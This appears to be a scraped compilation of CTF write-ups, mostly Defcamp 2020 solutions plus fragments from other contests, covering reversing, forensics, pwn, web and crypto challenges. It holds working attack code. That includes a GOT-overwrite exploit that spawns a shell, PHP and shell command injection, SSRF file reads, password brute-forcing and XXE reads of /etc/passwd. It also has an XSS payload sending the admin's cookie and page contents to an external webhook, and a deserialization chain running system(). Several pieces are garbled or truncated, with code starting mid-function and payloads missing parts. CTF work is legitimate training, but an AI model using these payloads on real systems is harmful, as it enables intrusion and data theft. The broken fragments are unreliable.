Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag:
`ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}`
### dumb-discordWe get a file to reverse: `server.cpython-36.pyc`
This is a Python bytecode file that is easy to decompile using *Uncompyle6*
```shelluncompyle6 server.cpython-36.pyc > server.py```
When looking at the code we can see that this is a Discord bot
```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get
def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s): data = obfuscate(s.encode()) return data
intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/')
@client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id))
@client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag```
The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}`
After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay
We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called `DCTFTargetWhyNot`. Lets invite it to our own server

Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes `/s基ay` and `/getflag` from our message.
We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase.

Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`
## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png```
with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image
def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 )
pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out
import re
def main(file_list): with open(file_list, "r") as f: files = f.readlines()
cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break
from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data
from pprint import pprint pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)]) print(flag)
if __name__ == "__main__": main("files.txt")```
`CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
|
[https://gerontakis.eu/blog/warren-buffer-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/](https://gerontakis.eu/blog/warren-buffer-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/) |
### Solution
```!/usr/bin/env python# -*- coding: utf-8 -*-# this exploit template was generated via: # $ pwn template challfrom pwn import * # set up pwntools for the correct architectureexe = context.binary = ELF('chall') context.terminal = "tmux splitw -v".split()libc = ELF("./libc-2.27.so") # many built-in settings can be controlled on the command-line and show up# in "args". for example, to dump all data sent/received, and disable aslr# for all created processes... # ./exploit.py debug noaslr
env = {"LD_PRELOAD": "./libc-2.27.so"} def start(argv=[], *a, **kw): '''start the exploit against the target.''' if args.GDB: return gdb.debug(["./ld-2.27.so", exe.path] + argv, gdbscript=gdbscript, env=env, *a, **kw) else: return process(["./ld-2.27.so", exe.path] + argv, env=env, *a, **kw) # specify your gdb script here for debugging# gdb will be launched if the exploit is run via e.g.# ./exploit.py gdbgdbscript = '''tbreak main'''.format(**locals()) #===========================================================# exploit goes here #===========================================================# arch: i386-32-little # relro: partial relro # stack: canary found # nx: nx enabled # pie: no pie (0x8048000) io = start() def init(d): io.sendlineafter("ARMOUR: enabled! Try to break in ;)", d) def add(i, d): io.sendlineafter("3. break armour", "1") io.sendlineafter("Enter the index :", str(i)) io.sendlineafter("Enter the data :", d) def show(i): io.sendlineafter("3. break armour", "2") io.sendlineafter("Enter the index :", str(i)) resp = io.recvline() return resp.strip() def break_armor(): io.sendlineafter("3. break armour", "3") try: resp = io.recvline() resp = io.recvline() return resp.strip() except: return none # overwrites the gotdef overwrite_got(target_func, new_func): log.info("replace func {} @ {} with {}".format(target_func, hex(exe.sym.got[target_func]), hex(new_func))) reactor = 0x0804a080 offset = int((exe.sym.got[target_func] - reactor)/0x10) add(offset, p32(new_func)) log.info("init with a fmt string vuln") init("%4$p") log.info("leaking glibc via fmt string vuln")leak = break_armor() leak = leak.replace(b"Welcome to The Reactor (current status: MELTDOWN)", b"") leak = int(leak, 16) libc.address = leak - 0x1d53fc log.info("libc base @ {}".format(hex(libc.address))) one_gadget = libc.address + 0x3ccec overwrite_got("exit", one_gadget)
log.info("causing an exit()") io.sendlineafter("3. break armour", "4") """ # I could also rewrite exit to point to mainoverwrite_got("exit", exe.sym["main"]) """ io.interactive()```
I used a format string vulnerability to leak GLIBC and its base address (alternatively, you can run the "show" command to look for leaks since there are no bounds to that function).
I then used a GOT overwrite to overwrite the `exit()` function to a one gadget. It took 2 tries to find the right one gadget since there were several to pick from:
```0x3ccec execve("/bin/sh", esp+0x38, environ)constraints: esi is the GOT address of libc [esp+0x38] == NULL```
In Ghidra, you can see that if you input anything in the command selection menu besides 1, 2, or 3, it does `exit(0)`. So I just input "4" which caused the program to run `exit` PLT, which jumped to the `exit` GOT entry, which was overwritten by me to the one gadget which runs `/bin/sh`.
Also, if you wanted to have unlimited tries (not limited to only 3 inputs), you can overwrite the `exit` GOT with `main` which would cause the `main()` function to be run over and over again. Could be useful if there were more protections like PIE or if they gave you only 2 tries.
#### Other info
I used `pwninit` from https://github.com/io12/pwninit to set up the `ld.so`.
You have to use the linker (`ld.so`) and the provided libc to get the intended answer.
The solution code was templated by `pwntools` by running `pwn template ./chall > xpl.py`
The way to find a one gadget is by using this awesome utility: https://github.com/david942j/one_gadget |
Solution with 0xe1------ "stack" addresses, exploiting a buffer overflow, also explaining how the 0xe100---- addresses showed up (instead of the expected 0x2000---- for the stack addresses). |
```def hashfun(msg): digest = [] for i in range(len(msg) - 4): digest.append(ord(msg[i]) ^ ord(msg[i + 4])) return digest```
The function simply does a XOR operation:
a ^ b = c
c ^ a = b
-----
We already know the first 4 characters of flag.
XORing the character at index 0 with the first item in the list gives us the character at index 0+4 and so on.
```l = [10, 30, 31, 62, 27, 9, 4, 0, 1, 1, 4, 4, 7, 13, 8, 12, 21, 28, 12, 6, 60]flag = "CSR{"
for i in range(len(flag)+len(l)-4): flag += chr(l[i]^ord(flag[i]))else: print(flag)``` |
Last weekend I played PBCTF on my own, and instead of binary challenges that I am quite good at, I tried to play some cryptography challenges. This is actually my first non-trivial Crypto challenge that I solved in CTF. Thus I think it is quite worthy to write a writeup to record. Interestingly, the intended approach to solve the challenges is by using slide attack, but I actually didn’t know this technique until I got the flag, which tells the technique I used is actually slide attack that has been a common cryptography technique. |
[Original writeup](https://github.com/acdwas/ctf/blob/master/2020/%23kksctf%20open%202020/rev/Yet%20Another%20Crypto%20Task/Yet%20Another%20Crypto%20Task.py) |
I played with 5BC in the PlaidCTF 2019, playing mostly misc and reversing. This is a writeup of Everland, a misc challenge that consisted of playing a text based action game and defeating a final boss.
I worked on this challenge alongside @EyalItkin who was 100% awesome.
TL;DR We found two logical bugs. One, allowing us to defeat nearly every enemy by making them hurt themselves. Second, we found a way to defeat the boss with an “instant kill” attack.
Full writeup https://www.acepace.net/2019-04-20-everland/ |
# Defcamp 2020 writeups :triangular_flag_on_post:
## Team information**Team name:** bootplug
**Country**: Norway
**CTFTime profile**: https://ctftime.org/team/81341
**Authors**zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve `inorder`
---
## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it

This **GET** request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
`CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}`
### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js```
Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes```
### spy-agency
Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip```
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
```javapackage com.example.hidden_place;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}```
However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut.
Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut')
## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php`
```php 15: print("cmd too long!") return
data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data)
tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret)
url += secret print(url)
params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content)
req = requests.get(url) print(req.content)
if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")```
We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}`
### pirate-crawlerThere is nothing on the main page.
First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints.
* `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE`
We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry```
We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
`curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf`
`curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py`
There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin```
`josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB
```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf```
There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
```python#!/usr/bin/env python3import requestsimport sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")```
The correct password is `christian`. We can now get the flag!
`http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'`
The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}`
### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.```
The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
`curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test`
A new error message: `That XML string is not well-formed`
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin```
However we cannot leak the flag using base64 encoding.
```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
The error message is `You just tried to exfiltrate using base64? Nice. Try again!`
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```We then get this string
`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳`
We can convert this to UTF-8 and get the flag!
`ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}`
### cross-meThe challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post `<script>` tags we get an error message:
`Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i`
The server is validating our notes using regex. It has quite a few different patterns that it checks:
- `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im```
The best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. `asdasd` -> `asdasd`
After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works:
`<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<`
Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'```
We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin:
`Referer: http://127.0.0.1:1234/index.php?page=post&id=221`
If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**:
```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})```
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'```
FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`
### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting
- /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup
At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.```
If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.```
A new endpoint! `/decode/{text}`.
Almost everything we tried to insert as *text* makes the server respond with
`bool(false)`
If you insert a symbol, you get `File not found`.
I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"}
for c in string.printable: r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip())
print(''.join(valid_chars))```
The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=`
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key:
`APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=`
We also find the decode function used in the Laravel app.
```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }```
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php`
```php<?php
namespace App\Http\Middleware;
use Closure;use Illuminate\Http\Request;
class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // }
public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}```
If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);```
Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==`
We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory.
```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
%```
FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}`
## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`.
I then tried to extract using `stug` as password:
```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}`
## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests
from base64 import b64decodefrom pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return
res = json.loads(res.content) pprint(res)
